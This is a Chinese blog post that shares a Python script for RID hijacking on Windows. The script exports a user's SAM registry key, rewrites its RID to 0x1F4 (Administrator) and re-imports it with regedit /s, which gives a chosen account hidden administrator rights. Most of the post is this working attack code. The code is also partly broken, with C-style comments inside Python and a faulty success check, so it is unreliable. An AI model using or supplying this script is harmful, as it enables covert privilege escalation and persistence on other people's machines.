python实现rid劫持

  1. 前言

前言

上个星期的时候在弄rid劫持的实验,当时想用python写个rid劫持的操作。后面时间不够上学了
这个星期回来整了出来。星期五被win32API弄的心态崩了= =后面换了种思路
i65Mb8.jpg

#正文#
先说一下一开始的思路

一开始我是想着用win32API和win32con读取注册表的键值进行修改的
但是REG_BINARY类型的值死活你用bytes类型的格式进行修改,后面我查了
读取出来键值的值的编码类型,解码出来简直是神鬼难救啊,这改个鬼鬼哦

解出来的是这种东西,你不解就修改不了,因为他是bytes类型
i6535Q.png

后面今天早上的思路就是

用reg命令导出成reg文件,然后修改指定位置的值
在用regdeit  /s  xx.reg,在用win32API读取修改位置的
值进行对比,如果匹配就劫持成功
`

代码如下:

import os
import win32api
import win32con
import time

n=0
def rid_hack(path):
    try:
        ps_numer='REG EXPORT HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000003F1  {}AppBkUp.reg'.format(path) 
        zx=os.system(ps_numer) //导出HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000003F1的键值
        n=1
        print('[+] 命令执行成功')
    except:
        pass

    time.sleep(1)
    if os.path.exists('{}AppBkUp.reg'.format(path)): //判断导出的reg 文件是否存在
        print('[+] ok reg is ok')
    else:
        print('[-] reg in not found')
        exit()


    dk=open('{}AppBkUp.reg'.format(path),'r',encoding='utf-16')
    xj=open('{}Rid_Hack.reg'.format(path),'w',encoding='utf-16')
    for line in dk:
        if 'f1' in line:
            line=line.replace('f1','f4').replace('03','01') //修改键值
        xj.write(line)

    dk.close()
    xj.close()

    zxw=os.system('regedit /s {}Rid_Hack.reg'.format(path)) //导入注册表
    key = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, 'SAM\\SAM\\Domains\\Account\\Users\\000003F1', 0,win32con.KEY_ALL_ACCESS)
    a = win32api.RegQueryValueEx(key, 'F')  //读取F的键值
    if 'xf4' and 'x01' in str(a[0]): //判断是否存在
        print('[+] rid劫持成功')
    else:
        print('[-] rid劫持失败')
if __name__ == '__main__':[VID_20181027_103535.mp4](attachments\6a167db9.mp4)
    user=input("路径:")
    rid_hack(user)

测试结果:


转载请声明转自:422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:python实现rid劫持

本文作者:九世

发布时间:2018-10-27, 10:47:52

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/b921a9fe.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录